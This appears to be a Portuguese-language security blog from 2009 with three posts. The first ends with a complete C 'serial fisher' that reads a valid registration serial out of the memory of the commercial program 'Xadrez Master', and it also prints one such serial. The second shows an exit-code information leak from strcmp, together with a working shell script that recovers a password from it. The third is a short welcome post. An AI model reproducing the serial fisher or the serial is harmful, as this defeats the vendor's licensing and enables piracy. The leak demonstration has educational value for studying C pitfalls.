0012EA70  |00F1CE74  ASCII "AABBCCDDEEFF"
0012EA74  |00ED1D0C  ASCII "Maycon Maia Vitali (0ut0fBound)"
0012EA78  |00ED1D38  ASCII "Maycon Maia Vitali (0ut0fBound)"

Estes dados foram obtidos da pilha, e podemos notar o serial XAD-BXLT4-TLKXJ para o nome “Maycon Maia Vitali (0ut0fBound)” em diversos endereços diferentes. Vamos pegar só um exemplo:

0012EA48  |00F2F1A8  ASCII "Maycon Maia Vitali (0ut0fBound)"
0012EA4C  |00F36868  ASCII "XAD-BXLT4-TLKXJ"

Neste caso, nos endereços 0012EA48 e 0012EA4C temos respectivamente os endereços de memória onde estão o nome e serial válidos. Portanto nosso “Serial Fisher” deve obter antes os endereços das strings na memória para depois le-las em sí.

Sem muitas firulas, segue um código-rápido que fiz para fazer Serial Fishing desse software. Lembrando que é necessário digitar um serial qualquer e pressionar o botão de registrar e, sem fechar a caixa da mensagem informando serial inválido, rodar o fisher(pescador):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/**
 * Serial fisher para RKSoft Xadrez Master 5.8.6.0
 * Por Maycon M. Vitali (0ut0fBound)
 *
 * ATENÇÃO: Este código foi criado para fins de estudo, caso deseje
 * obter o software é necessário que se page a licensa estipulada
 * pelo fabricante.
 */
 
#include <stdio.h>
#include <string.h>
#include <windows.h>
 
#define NAME_PTR_ADDR   0x0012EA48
#define SERIAL_PTR_ADDR 0x0012EA4C
 
#define TITULO_JANELA "Xadrez Master"
 
#define MAX_SIZE 100
 
int main()
{
    HWND cmeHandle;                // Handle da janela do processo
    DWORD cmePid;                  // PID do processo crackme
    HANDLE cmdProcHandle;          // Handle do processo ( depois de aberto )
 
    long lngAddrNome, lngAddrSerial;
    char strNome[MAX_SIZE], strSerial[MAX_SIZE];
 
    char strMensagem[MAX_SIZE*2 + 20];
 
    // Procuramos pela janela do crackme
    if (!(cmeHandle = FindWindow(0, TITULO_JANELA)))
    {
        MessageBoxA(
            0,
            "Execute o xadrez.exe e tente registrar com qualquer serial antes.",
            "Serial Fishing",
            0
        );
        exit(-1);
    }
 
    // Pega e abre processo
    GetWindowThreadProcessId(cmeHandle, &cmePid);
    cmdProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, cmePid);
 
    // Obtém os endereços das informações na pilha
    ReadProcessMemory(cmdProcHandle, (void *)NAME_PTR_ADDR, &lngAddrNome, sizeof(lngAddrNome), NULL);
    ReadProcessMemory(cmdProcHandle, (void *)SERIAL_PTR_ADDR, &lngAddrSerial, sizeof(lngAddrSerial), NULL);
 
    // Pega os valores nos endereços obtidos
    ReadProcessMemory(cmdProcHandle, (const void *)lngAddrNome, strNome, sizeof(strNome) - 1, NULL);
    ReadProcessMemory(cmdProcHandle, (const void *)lngAddrSerial, strSerial, sizeof(strSerial) - 1, NULL);
 
    snprintf (strMensagem, sizeof(strMensagem) - 1, "Nome: %s\nSerial: %s", strNome, strSerial);
 
    MessageBoxA(0, strMensagem, "Enjoy!", 0);
 
    printf ("Nome ...: %s\n", strNome);
    printf ("Serial .: %s\n", strSerial);
 
    return 0;
}

Como dito no comentário, não forneci esse código com fins de prejudicar a equipe que desenvolve a ferramenta. Tentarei futuramente disponibilizar análise de malwares e afins para não ter problemas futuros.

Categories: Análise de Binário, Segurança Tags:

return! Sim ou Não?

9, janeiro, 2009 Maycon Maia 10 comentários

Muitas vezes no cotidianos estamos trabalhando a todo vapor e acabamos deixando passar desapercebido algumas coisas que muitos dizem serem inofensivas. Um exemplo disto está na utilização do comando return nos programas escrito em C, pois muitos não sabem sua utilidade (pelo menos na main) e outros simplesmente procuram ignorá-los.

Isto não aconteceu necessariamente comigo, já que sou mais um na fila dos desempregados atoas, entretanto, ao me deparar com um código, percebi que existia uma maneira de tirar proveito desta situação, onde omite-se a utilização do comando return. Por isso resolvi compartilhar com os leitores como o post pilot do blog da Hackn’ Roll.

Vejamos o seguinte código abaixo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include "secret_pass.h"
 
int main(int argc, char **argv)
{
    if (argc != 2)
    {
        fprintf (stderr, "Use: %s [pass]\n", argv[0]);
        exit(0);
    }
 
    if (!strcmp(argv[1], PASS))
    {
        printf ("You won!\n");
    }
}

Como podemos perceber, não temos nada de Stack Overflow, Format String, Integer Overflow, nem nada de baixo nível. A única coisa que alguns devem ter percebidos é que não colocamos esquecemos o comando return da main(), e isto não tem nada d+. Certo?! Bem veremos.

Como todos sabem (se não souberem man strcmp), a função strcmp() é responsável por comparar duas strings e retornar um numero de ordem lexicográfica entre elas. Isto significa que se ao ir comparando caractere-a-caractere, em um dado momento se um caractere do primeiro parâmetro for diferente do segundo, a função irá retornar a diferença entre eles. Caso os parâmetros sejam iguais a função retorna 0 (zero).

Bem, e o que isto tem haver com o retorno de main()? Simples! Alguns sabem que o retorno de uma função fica armazenada no registrador %eax, e se dizemos que a função main() possúi um retorno, o programa retornará o valor de %eax para o S.O.. Porém não fornecemos o retorno de main(). Só que independente de termos ou não fornecido um retorno de main(), o programa retornará o valor do registrador %eax.

No nosso exemplo, a ultima função a ser executada foi a função strcmp() que retorna a comparação lexicográfica e, como não fazemos nada após ela, temos um Information Leak que nos permite obter a senha original que foi utilizada no strcmp().

Com isto, escreví um pequeno script que executa o programa e, a partir do retorno deduz qual a senha que está sendo utilizada na comparação:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
 
PROG=./secret_pass
 
pass=""
while [ 1 ]; do
        # Executa o programa e pega o retorno
        result=$($PROG "$pass")
        ret=$?
 
        # Verifica se tivemos o retorno correto
        if [ "$result" == "You won!" ]; then
                echo -ne "The password is '$pass'\n"
                exit;
        fi;
 
        # Obtem o ascii e concatena com a senha atual
        next=$(echo $ret | awk '{printf("%c", 256 - $1)}')
        pass=$pass$next
done;

Como começamos passado uma senha “” (vazia), na comparação o programa retorna 0 – NN (onde NN é o ascii do primeiro caracter). Isto geraria um underflow, o que cria a necessidade de voltar pra o valor normal com 256 – NN (vide código) e com isto obter seu valor ascii.

Veja a execução de nosso script:

$ ./get_password.sh
The password is 'ThIs iS mY SecrEt p4ssw0rd'
$ ./secret_pass "ThIs iS mY SecrEt p4ssw0rd"
You won!
$

Como visto, conseguimos obter a senha original sem mecher com assembly, shellcode, overflow, e essas que só nerds como eu gostam.

Bem, este foi meu primeiro post em meu primeiro blog. Espero que agrade e ajude no crescimento de todos.

Categories: Sem categoria Tags:

Bem vindos!

9, janeiro, 2009 Maycon Maia 3 comentários

Estávamos eu e Anderson atoa em uma sexta-feira 1h00 da manhã porque somos nerds ocupados e resolvemos fazer uma coisa inédita. Isto mesmo! Este é nosso primeiro blog, que visa apresentar gambiarras coisas que fazemos em nosso dia-a-dia para ajudar ou para resolver problemas e, como a maioria não são dígnas de documentos e artigos, vamos juntá-las aqui.

Então damos boas vindas aos visitantes e espero que gostem do material fornecido aqui. Lembrando que serão coisas voltadas a Linux, FreeBSD, Security, Insecurity entre outros.

Categories: Sem categoria Tags: